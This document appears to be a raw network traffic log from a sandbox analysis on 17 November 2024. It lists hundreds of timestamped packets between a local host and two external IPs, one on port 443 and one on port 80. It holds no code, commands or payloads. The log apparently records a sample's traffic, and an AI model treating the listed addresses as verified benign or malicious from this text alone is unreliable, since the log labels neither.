Nov 17, 2024 10:07:42.318248034 CET	49981	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.318253994 CET	443	49981	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.318607092 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.319214106 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.322822094 CET	443	49980	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.322978973 CET	443	49980	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.323041916 CET	49980	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.323107004 CET	49980	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.323107004 CET	49980	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.323120117 CET	443	49980	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.323129892 CET	443	49980	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.330820084 CET	49987	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.330842018 CET	443	49987	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.331363916 CET	49987	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.331794024 CET	49987	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.331804991 CET	443	49987	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.332302094 CET	49988	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.332345009 CET	443	49988	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.332772970 CET	49988	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.332935095 CET	49988	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.332948923 CET	443	49988	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.343252897 CET	443	49982	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.343339920 CET	443	49982	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.343508005 CET	49982	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.343554974 CET	49982	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.343554974 CET	49982	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.343564987 CET	443	49982	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.343574047 CET	443	49982	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.346590042 CET	49989	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.346626043 CET	443	49989	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.346693039 CET	49989	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.346829891 CET	49989	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:42.346857071 CET	443	49989	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:42.361324072 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.361355066 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.361372948 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.361388922 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.361399889 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.361416101 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.361428022 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.361433029 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.361454964 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.361485004 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.429598093 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.429662943 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.429707050 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.429738998 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.429748058 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.429765940 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.429778099 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.429784060 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.429802895 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.429804087 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.429826975 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.429830074 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.429837942 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.429847002 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.429869890 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.429871082 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.429889917 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.429896116 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.429912090 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.429912090 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.429927111 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.429934978 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.429948092 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.429955959 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.429970980 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.429975986 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.429991007 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.429996967 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430015087 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430023909 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430038929 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430043936 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430062056 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430075884 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430089951 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430090904 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430110931 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430110931 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430140972 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430141926 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430141926 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430156946 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430185080 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430198908 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430207014 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430222988 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430231094 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430238008 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430253029 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430254936 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430268049 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430272102 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430288076 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430289030 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430305958 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430313110 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430320978 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430336952 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430340052 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430351019 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430354118 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430372000 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430372953 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430391073 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430393934 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430418968 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430419922 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430434942 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430442095 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430450916 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430463076 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430469036 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430480957 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430485964 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430491924 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430501938 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430512905 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430521011 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430527925 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430537939 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430548906 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430561066 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430561066 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430578947 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430581093 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430592060 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430596113 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430615902 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430624962 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430629015 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430643082 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430659056 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430664062 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430675983 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430680990 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430696011 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430700064 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430708885 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430713892 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430736065 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430738926 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430756092 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430757046 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430777073 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430783033 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430792093 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430803061 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430823088 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430829048 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430835962 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430845022 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430860043 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430871010 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430875063 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430891991 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430896044 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430907965 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430916071 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430928946 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430942059 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430943966 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430970907 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.430970907 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430989027 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.430996895 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431015968 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431020021 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431040049 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431040049 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431050062 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431057930 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431073904 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431091070 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431098938 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431108952 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431122065 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431134939 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431149960 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431152105 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431166887 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431176901 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431180954 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431195974 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431201935 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431212902 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431231022 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431242943 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431248903 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431256056 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431271076 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431278944 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431296110 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431303024 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431320906 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431338072 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431340933 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431340933 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431354046 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431369066 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431381941 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431382895 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431397915 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431410074 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431413889 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431421041 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431430101 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431446075 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431457043 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431459904 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431477070 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431485891 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431492090 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431499958 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431509972 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431524992 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431528091 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431538105 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431546926 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431555986 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431560040 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431569099 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431576967 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431590080 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431595087 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431600094 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431610107 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431621075 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431626081 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431633949 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431643963 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431653023 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431664944 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431665897 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431682110 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431685925 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431701899 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431706905 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431715965 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431723118 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431737900 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431754112 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431763887 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431773901 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431792021 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431792021 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431807995 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431813002 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431823015 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431838036 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431844950 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431854010 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431869030 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431874037 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431883097 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431885004 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431898117 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431914091 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431914091 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431924105 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431931973 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431943893 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431948900 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431957006 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431963921 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431978941 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.431982994 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.431996107 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432008982 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432010889 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432025909 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432033062 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432040930 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432055950 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432056904 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432070971 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432084084 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432089090 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432111979 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432131052 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432135105 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432147980 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432192087 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432214975 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432234049 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432257891 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432272911 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432274103 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432290077 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432292938 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432322979 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432333946 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432380915 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432395935 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432410955 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432420015 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432429075 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432444096 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432451010 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432462931 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432478905 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432480097 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432502031 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432527065 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432538033 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432554960 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432574034 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432578087 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432590961 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432598114 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432610989 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432615995 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432631969 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432636976 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432647943 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432648897 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432662964 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432672977 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432678938 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432682991 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432694912 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432702065 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432713032 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432713032 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432734013 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432754040 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432821035 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432836056 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432849884 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432863951 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432868004 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432879925 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432888985 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432895899 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432913065 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:42.432914972 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432925940 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:42.432931900 CET	80	49892	185.215.113.206	192.168.2.6
